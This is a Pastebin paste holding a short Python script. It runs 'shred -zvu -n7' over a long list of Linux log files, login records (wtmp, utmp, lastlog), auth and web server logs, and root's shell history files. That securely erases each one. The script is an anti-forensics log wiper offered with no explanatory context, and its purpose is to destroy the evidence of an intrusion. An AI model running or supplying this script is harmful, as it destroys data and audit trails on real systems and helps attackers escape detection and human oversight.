Advertisement
Guest User

Untitled

a guest
Oct 27th, 2019
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.68 KB | None | 0 0
  1. import subprocess
  2. logs =     ["/var/log/lastlog",
  3.             "/var/log/messages",
  4.             "/var/log/warn",
  5.             "/var/log/wtmp",
  6.             "/var/log/poplog",
  7.             "/var/log/qmail",
  8.             "/var/log/smtpd",
  9.             "/var/log/telnetd",
  10.             "/var/log/secure",
  11.             "/var/log/auth",
  12.             "/var/log/auth.log",
  13.             "/var/log/cups/access_log",
  14.             "/var/log/cups/error_log",
  15.             "/var/log/thttpd_log",
  16.             "/var/log/spooler",
  17.             "/var/spool/tmp",
  18.             "/var/spool/errors",
  19.             "/var/spool/locks",
  20.             "/var/log/nctfpd.errs",
  21.             "/var/log/acct",
  22.             "/var/apache/log",
  23.             "/var/apache/logs",
  24.             "/usr/local/apache/log",
  25.             "/usr/local/apache/logs",
  26.             "/usr/local/www/logs/thttpd_log",
  27.             "/var/log/news",
  28.             "/var/log/news/news",
  29.             "/var/log/news.all",
  30.             "/var/log/news/news.all",
  31.             "/var/log/news/news.crit",
  32.             "/var/log/news/news.err",
  33.             "/var/log/news/news.notice",
  34.             "/var/log/news/suck.err",
  35.             "/var/log/news/suck.notice",
  36.             "/var/log/xferlog",
  37.             "/var/log/proftpd/xferlog.legacy",
  38.             "/var/log/proftpd.xferlog",
  39.             "/var/log/proftpd.access_log",
  40.             "/var/log/httpd/error_log",
  41.             "/var/log/httpsd/ssl_log",
  42.             "/var/log/httpsd/ssl.access_log",
  43.             "/var/adm",
  44.             "/var/run/utmp",
  45.             "/etc/wtmp",
  46.             "/etc/utmp",
  47.             "/etc/mail/access",
  48.             "/var/log/mail/info.log",
  49.             "/var/log/mail/errors.log",
  50.             "/var/log/httpd/*_log",
  51.             "/var/log/ncftpd/misclog.txt",
  52.             "/var/account/pacct",
  53.             "/var/log/snort",
  54.             "/var/log/bandwidth",
  55.             "/var/log/explanations",
  56.             "/var/log/syslog",
  57.             "/var/log/user.log",
  58.             "/var/log/daemons/info.log",
  59.             "/var/log/daemons/warnings.log",
  60.             "/var/log/daemons/errors.log",
  61.             "/etc/httpd/logs/error_log",
  62.             "/etc/httpd/logs/*_log",
  63.             "/var/log/mysqld/mysqld.log"
  64.             "/root/.ksh_history",
  65.             "/root/.bash_history",
  66.             "/root/.sh_history",
  67.             "/root/.history",
  68.             "/root/*_history",
  69.             "/root/.login",
  70.             "/root/.logout",
  71.             "/root/.bash_logut",
  72.             "/root/.Xauthority"]
  73. print("Start...")
  74. for log in logs:
  75.     try:
  76.         out = subprocess.check_output(['shred','-zvu','-n7',log])
  77.         print(out)
  78.     except:
  79.         continue
  80. print("Done")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement